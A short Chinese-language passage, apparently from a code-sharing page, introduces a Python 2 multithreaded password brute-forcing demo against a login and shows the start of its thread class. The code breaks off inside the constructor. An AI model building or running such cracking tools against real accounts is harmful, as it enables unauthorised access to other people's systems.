这是一段Python程序用于演示多线程口令攻击,可以自动把密码区间划分给不同的线程去攻击。并且在类定义中支持任务恢复功能。
它采用暴力方法,确实可以获得口令,但还是受到诸多限制:如计算机性能,网速,对方服务器性能,对方的入侵检测和负载平衡的制约。
其实在这些限制之下,能够攻下口令还是十分困难的事情,需要花费很长的时间。不过这个演示还是有许多启示性的价值。
# -*- coding: utf-8 -*-
import urllib,urllib2
import threading,time
class nPasswdTester(threading.Thread):
"""口令测试线程"""
def __init__(self,usr,pLen,pRange,pTest,callback):
"""口令测试任务初始化
usr用户名 pLen口令长度 pRange测试区间
pTest(usr,pas)测试入口 callback(pas)结果反馈回调"""
super(nPasswdTester, self).__init__()
self.rest=0.002; self._i=0
self.thread_stop=False
self.progress=0
self.usr=usr
self.pRange=pRange
self.pTe